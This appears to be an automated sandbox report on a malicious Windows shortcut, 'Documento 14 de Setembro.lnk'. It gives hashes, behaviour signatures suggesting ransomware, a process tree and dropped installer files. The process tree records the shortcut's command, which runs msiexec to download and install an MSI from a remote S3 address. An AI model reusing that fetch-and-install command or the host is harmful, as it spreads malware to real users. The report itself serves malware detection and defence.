Analysis

  • max time kernel
    136s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    15-09-2022 06:11

General

  • Target

    Documento 14 de Setembro.lnk

  • Size

    2KB

  • MD5

    2cb7ac7cb6ff4ef4e6ec48659e52baa6

  • SHA1

    66edf5d23da5fb529d9515b5d88e6ba618db25f2

  • SHA256

    1039cb687f1f997f02bc8d3ad466a1ca6ff37ba055a5d409fd6b446ceeb5e87e

  • SHA512

    0f6a4eb6b9effd56ec66fee12474cbc15fe92a72466f1c6892e5d1188ff2da25bcc394d028f9cd34bbb3a4787ba9779009271bb361bc903e61ff244928b0822c

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 5 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Documento 14 de Setembro.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "https://i4g.s3.sa-east-1.amazonaws.com/installaaar.msi"
      2⤵
      • Blocklisted process makes network request
      • Use of msiexec (install) with remote resource
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:908
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:624
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0381FC3C96C0DEF5474786BBB129DD27
      2⤵
      • Loads dropped DLL
      PID:1824
    • C:\Windows\system32\MsiExec.exe
      C:\Windows\system32\MsiExec.exe -Embedding A83BB7510E17C927AD859E850A4D2ED0
      2⤵
      • Loads dropped DLL
      PID:1032

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Windows\Installer\MSI1ADA.tmp

    Filesize

    108.4MB

    MD5

    182d30fb29b6bff76dd557e55246b8ef

    SHA1

    7bb2e25286c3b41d6f7c20d60cda076ad87cea77

    SHA256

    f2d5f80d595128a9c80fd661673655a01912c4eaca381d9e4e484fcbe6af6554

    SHA512

    1f8122e6efadee856a507109731e60b00a4cae3403bac55dffdd676e5a7a81fd08c8532cd04b250fd6a9509099c358635cc99ba25e8b4348c1409a5a83f71e21

  • C:\Windows\Installer\MSIA5B2.tmp

    Filesize

    376KB

    MD5

    e12c5bcc254c953b1a46d1434804f4d2

    SHA1

    99f67acf34af1294f3c6e5eb521c862e1c772397

    SHA256

    5316cfae8b4d28ab7cbc5cab60e27b0c0f5a3210a921a4b0560769c5021c911b

    SHA512

    9a61aa00b651fc616cd09d28f4a6b872889a026c61d818595a82c58fdff187e3ad57916c2b8690d1e7016d73a05435e13a85758917cfb89029b34c4a1685aa0b

  • C:\Windows\Installer\MSIB147.tmp

    Filesize

    376KB

    MD5

    e12c5bcc254c953b1a46d1434804f4d2

    SHA1

    99f67acf34af1294f3c6e5eb521c862e1c772397

    SHA256

    5316cfae8b4d28ab7cbc5cab60e27b0c0f5a3210a921a4b0560769c5021c911b

    SHA512

    9a61aa00b651fc616cd09d28f4a6b872889a026c61d818595a82c58fdff187e3ad57916c2b8690d1e7016d73a05435e13a85758917cfb89029b34c4a1685aa0b

  • C:\Windows\Installer\MSIB53E.tmp

    Filesize

    860KB

    MD5

    71b541254864bd52f85e932e2040cbe8

    SHA1

    713766e1818f8d7ca814c86109c9cdd5d57914ef

    SHA256

    b29ab4744ff6c8c9c440e878abf6f76255c538e71564e6a6279513b543be0538

    SHA512

    4d2e0a30fd6729eb40fad358795db152327b0441da574052a371762f33c9f9e7b9a77c4a4762207bcb401a2d3ef6438730c245916f4a81cd20f748857d5170d2

  • C:\Windows\Installer\MSIBDC7.tmp

    Filesize

    376KB

    MD5

    e12c5bcc254c953b1a46d1434804f4d2

    SHA1

    99f67acf34af1294f3c6e5eb521c862e1c772397

    SHA256

    5316cfae8b4d28ab7cbc5cab60e27b0c0f5a3210a921a4b0560769c5021c911b

    SHA512

    9a61aa00b651fc616cd09d28f4a6b872889a026c61d818595a82c58fdff187e3ad57916c2b8690d1e7016d73a05435e13a85758917cfb89029b34c4a1685aa0b

  • C:\Windows\Installer\MSIC9BC.tmp

    Filesize

    106.2MB

    MD5

    eeac072023b4dcdb28f7a9c48b46f88a

    SHA1

    c59d0edcc7e4caca877074978b5f0cabc7631500

    SHA256

    5e71693441b2efb7c09a64e130d683289023481134dc83a4a5b6c10135495182

    SHA512

    d21f3bae49d2ebe4d37456512fe24e16ae6fb1d979219e95eca61428176c4e7b94f5a41c767586907a957eb7ab0c2e008ea9b97e019b5460c46d2dc71d30f177

  • \Windows\Installer\MSIA5B2.tmp

    Filesize

    376KB

    MD5

    e12c5bcc254c953b1a46d1434804f4d2

    SHA1

    99f67acf34af1294f3c6e5eb521c862e1c772397

    SHA256

    5316cfae8b4d28ab7cbc5cab60e27b0c0f5a3210a921a4b0560769c5021c911b

    SHA512

    9a61aa00b651fc616cd09d28f4a6b872889a026c61d818595a82c58fdff187e3ad57916c2b8690d1e7016d73a05435e13a85758917cfb89029b34c4a1685aa0b

  • \Windows\Installer\MSIB147.tmp

    Filesize

    376KB

    MD5

    e12c5bcc254c953b1a46d1434804f4d2

    SHA1

    99f67acf34af1294f3c6e5eb521c862e1c772397

    SHA256

    5316cfae8b4d28ab7cbc5cab60e27b0c0f5a3210a921a4b0560769c5021c911b

    SHA512

    9a61aa00b651fc616cd09d28f4a6b872889a026c61d818595a82c58fdff187e3ad57916c2b8690d1e7016d73a05435e13a85758917cfb89029b34c4a1685aa0b

  • \Windows\Installer\MSIB53E.tmp

    Filesize

    860KB

    MD5

    71b541254864bd52f85e932e2040cbe8

    SHA1

    713766e1818f8d7ca814c86109c9cdd5d57914ef

    SHA256

    b29ab4744ff6c8c9c440e878abf6f76255c538e71564e6a6279513b543be0538

    SHA512

    4d2e0a30fd6729eb40fad358795db152327b0441da574052a371762f33c9f9e7b9a77c4a4762207bcb401a2d3ef6438730c245916f4a81cd20f748857d5170d2

  • \Windows\Installer\MSIBDC7.tmp

    Filesize

    376KB

    MD5

    e12c5bcc254c953b1a46d1434804f4d2

    SHA1

    99f67acf34af1294f3c6e5eb521c862e1c772397

    SHA256

    5316cfae8b4d28ab7cbc5cab60e27b0c0f5a3210a921a4b0560769c5021c911b

    SHA512

    9a61aa00b651fc616cd09d28f4a6b872889a026c61d818595a82c58fdff187e3ad57916c2b8690d1e7016d73a05435e13a85758917cfb89029b34c4a1685aa0b

  • \Windows\Installer\MSIC9BC.tmp

    Filesize

    106.2MB

    MD5

    eeac072023b4dcdb28f7a9c48b46f88a

    SHA1

    c59d0edcc7e4caca877074978b5f0cabc7631500

    SHA256

    5e71693441b2efb7c09a64e130d683289023481134dc83a4a5b6c10135495182

    SHA512

    d21f3bae49d2ebe4d37456512fe24e16ae6fb1d979219e95eca61428176c4e7b94f5a41c767586907a957eb7ab0c2e008ea9b97e019b5460c46d2dc71d30f177

  • memory/1604-54-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

    Filesize

    8KB

  • memory/1824-96-0x0000000075601000-0x0000000075603000-memory.dmp

    Filesize

    8KB